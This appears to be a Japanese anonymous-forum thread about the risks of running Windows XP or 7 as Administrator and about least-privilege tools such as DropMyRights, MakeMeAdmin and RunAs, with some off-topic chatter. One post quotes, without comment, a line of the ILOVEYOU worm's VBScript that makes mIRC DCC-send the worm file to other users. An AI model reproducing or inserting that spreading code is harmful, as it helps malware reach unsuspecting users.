WindowsをAdministrator権限で常用してる人

グリーンだお

ほ

げ

RunAs /Env をデフォにしろよMy糞Soft

「Windows 7」の脆弱性対策、管理者権限の制限が効果的
http://itpro.nikkeibp.co.jp/article/NEWS/20100330/346398/

嗚呼、XPでMakeMeAdmin使ってUsers常用…
この「面倒だし誰もやってねえよｗｗ」的な変態さがたまらない

禿同

全くだな

http://nfoxmpoandpsp.blog90.fc2.com/blog-entry-34.html
http://nfoxmpoandpsp.blog90.fc2.com/blog-entry-39.html
管理者権限盗みまくりDaZE！

最近本で見たんだけど、adminオンリーの環境で、指定ソフトだけUser権限で
起動させるというソフトがありました。
セキュリティーupにいいと、メモっておいたんですが、ｸﾞｸﾞっても出てこず
わかりません
Planning Permissionsという名前と思いますが、間違ってる可能性もあります。
わかりますか？

Reduced Permissionsかな
http://www.oshiete-kun.net/archives/2006/05/iereducedpermissions.html

作者ページ消えてるけど一応ここから落とせる
http://reduced-permissions.jp.brothersoft.com/

以前作者ページで落としたのとハッシュは同じ
SHA1 BDD27C3FF178C023470A1B49B091B3B4D0F66DD6

thx これです
使ってみましたが、みごとにプロファイルが壊れました・・・
他のソフトも、危険度高そうですね

RUNASA mekameadmin
chigai wa nani?

制限付きアカウント Guest これは同じもの？
Adminである程度、システム作ったらguestでログインでOK？
制限付きアカウント作ろうとしたら、もう一つ先に、管理者を作れと言われたがどうして？

>>560
Administrator権限がなくても動くソフトを選んだり、Administratorになる機会を少なくする運用を考えないと、結局はAdministratorで常用するのと同じことになる。

>>89
で紹介されてるソフトを使うほうが楽
ネットにつなぐブラウザやメール・P2Pソフトをこれで起動すればいいだけ
Googleで検索すればまだダウンロードできるしadmin常用できて便利
user権限だとUSBHDDすら追加できなくて不便・・・

14年までＸＰ使うとすると、このへんが重要な気がするけど、関連ソフトがほとんどないｗ

sandbox系のソフトを使えばいいじゃん

ユーザー権限でもサービス登録できるんだな
ネット上のいかがわしい画像保存する際に警告出たんだが
ユーザーだからと思って強行したのがまずかった
テンポラリ領域に実体置かれてサービス登録までされていた
テンポラリは随時削除する設定だから実害は無かったけど

>>565
これマジ？
試しにDropMyRightsで起動したsexeで適当なソフトサービス登録しようとしたら「権限が無い」って拒否されたけど

グループポリシーって、設定とかしてる？

xphomeなのでして無い

>>567
普通は、最低でもIEのネットワークとセキュリティーの設定は潰しておくだろう。

グループポリシー
adminオンリーでも、設定したほうがいい項目とかあるの？

>>570
設定しても無駄。

Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

XPproの暗号化　これ利用方法ある？

アプリがどの権限で実行されてるか、確認する方法ある？
多機能タスクマネージャとか、ないかな？

>>574
Windows標準のもので確認する方法があるが、お前みたいなハゲには無理。

dropmeをランチャーに適用してます。
admin権限必要なものに、適用させない方法はありますか？

DOSの頃のクセが抜けないのかXpになってもウチの親父はCドライブ直下に自分用のファイルフォルダ作るんだよね。
マイドキュメントフォルダ使えと再三にわたって言っても聞かん。
俺が消してもいつのまにかまた同じように「耕造」（←親父の名前）というフォルダができてる。
おまけに共有設定までされている。
なぜだ？と問いただしたところ、「階層が深くなると、どこにあるかわからなくなる」だと。
もう、いい加減にしてくれ、と。

そして昨日夜遅くまたPCの調子が悪いから見てくれという依頼の電話だ。
俺にメンテ頼むくらいなら俺の言う事を聞け。

PCもだいぶ広まったけどさ、
おまえらの身近にそういう非常識とか、我流な使い方ってあるの？

>>577
DOSの頃から使っていても自分でメンテできないままのヤツっているんだな…。
ってか、名前は仮名だよな?w

>>577
そうだな。スレタイ読まずにスレ違いの長文投下する非常識ってあるな

HDDのルートディレクトリからAuthenticated Usersのアクセス権を削除しない奴は情弱。

どういうこと？

そゆことー

「別のユーザーとして実行」の「許可されていないプログラムの動作からコンピュータとデータを保護する」
にチェックを入れて実行するのと、DropMyRightsのConstatinedUserでの実行って同じ？

もしそうなら、「別のユーザーとして実行」の「許可されていないプログラムの動作からコンピュータとデータを保護する」
にチェックを入れないでの起動は、DropMyRightのNormalUserと同じ権限になるのか？？

XP Pro SP3です

XP HE で 制限ユーザーで使っています。

確かに、SNTP自動時刻合わせが出来ないとか、
制限ユーザー以外のファイルを変更できないので
使えないアプリが出てきます。
大抵は制限ユーザーを一時的に管理者ユーザーにして
インストールやデータ作成をすれば問題を回避できます。

しかし根本的なセキュリティ対策としてＰＣ内に
重要個人情報を一切置かないことにしており
仮に突破されても被害は出ません。

メールソフトなど個人情報を内部に保存するソフトは
仮想ディスク内にインストールし通信時のみ有効にして
通常時は暗号化されています。

私の用途では制限ユーザーでも十分使えております。

>>583
Windows XP でユーザー アカウントに最小特権の原則を適用する
http://technet.microsoft.com/ja-jp/library/bb456992.aspx

Secondary Logon サービスは、より少ない権限のアカウントとしてプログラムを実行するオプションを提供します。
たとえば、Windows XP SP2 では、Internet Explorer のユーザーのデスクトップ アイコンを、
[別のユーザーとして実行] ダイアログ ボックスを起動するバージョンに置き換えることができます。
このダイアログ ボックスには [許可されていないプログラムの動作からコンピュータとデータを保護する]
オプションがあります。このオプションを選択すると、後に説明する DropMyRights ツールと同様の方法で、
ユーザーのアクセス トークン内のセキュリティ識別子 (SID) が無効になります。

こんなの作ってみた
D&Dしたファイル・アプリを制限付きで実行するWSH（PsExecかDropMyRights使用）
http://www1.axfc.net/uploader/Sc/so/301090
よかったら使ってみて

>>587
wshスレでいろいろ聞いてた人?

はい。スレではお世話になりました。

にゃ〜

ぴよぴよ

わあ

12

1

win7以上で自分専用のPCでも常時adminは不味いの？
win8proだけど初期状態からadminだったからそのまま使ってるけど。